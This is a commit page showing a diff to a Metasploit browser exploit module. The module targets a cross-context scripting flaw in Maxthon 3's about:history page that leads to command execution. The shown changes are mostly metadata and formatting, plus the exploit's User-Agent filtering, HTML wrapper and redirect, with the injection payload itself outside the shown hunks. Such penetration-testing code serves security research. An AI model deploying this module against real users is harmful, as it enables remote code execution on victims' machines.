Skip to content

Commit 3f1cfcc

Browse files
committed
More changes
1 parent 1aaecbc commit 3f1cfcc

File tree

1 file changed

+24
-19
lines changed

1 file changed

+24
-19
lines changed

modules/exploits/windows/browser/maxthon_history_xcs.rb

Lines changed: 24 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -16,56 +16,59 @@ class Metasploit3 < Msf::Exploit::Remote
1616

1717
def initialize(info = {})
1818
super(update_info(info,
19-
'Name' => 'Maxthon3 about:history XCS',
20-
'Description' => %q{
19+
'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
20+
'Description' => %q{
2121
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
2222
Injection in such privileged/trusted browser zone can be used to modify
2323
configuration settings and execute arbitrary commands.
24+
25+
Please note this module only works against specific versions of XCS. Currently,
26+
we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
2427
},
25-
'License' => BSD_LICENSE,
26-
'Author' =>
28+
'License' => MSF_LICENSE,
29+
'Author' =>
2730
[
2831
'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
2932
'sinn3r', # msf module
3033
'juan vazquez' # msf module
3134
],
3235
'References' =>
3336
[
34-
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html'],
37+
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
3538
],
3639
'Payload' =>
3740
{
38-
'DisableNops' => true,
41+
'DisableNops' => true
3942
},
4043
'Platform' => 'win',
4144
'Targets' =>
4245
[
4346
['Maxthon 3 (prior to 3.3) on Windows', {} ]
4447
],
4548
'DisclosureDate' => 'Nov 26 2012',
46-
'DefaultTarget' => 0
49+
'DefaultTarget' => 0
4750
))
4851
end
4952

5053
def on_request_uri(cli, request)
51-
5254
if request.headers['User-agent'] !~ /Maxthon\/3/ or request.headers['User-agent'] !~ /AppleWebKit\/534.12/
5355
print_status("Sending 404 for User-Agent #{request.headers['User-agent']}")
5456
send_not_found(cli)
5557
return
5658
end
5759

58-
html_hdr = %Q^
59-
<html>
60-
<head>
61-
<title>Loading</title>
62-
^
63-
html_ftr = %Q^
64-
</head>
65-
<body >
66-
<h1>Loading</h1>
67-
</body></html>
68-
^
60+
html_hdr = %Q|
61+
<html>
62+
<head>
63+
<title>Loading</title>
64+
|
65+
66+
html_ftr = %Q|
67+
</head>
68+
<body >
69+
<h1>Loading</h1>
70+
</body></html>
71+
|
6972

7073
case request.uri
7174
when /\?jspayload/
@@ -99,13 +102,15 @@ def on_request_uri(cli, request)
99102
location.href = "about:history";
100103
}
101104
|
105+
102106
content = %Q|
103107
#{html_hdr}
104108
<script>
105109
#{js}
106110
</script>
107111
#{html_ftr}
108112
|
113+
109114
when get_resource()
110115
print_status("Sending #{self.name} payload for request #{request.uri}")
111116

0 commit comments

Comments
 (0)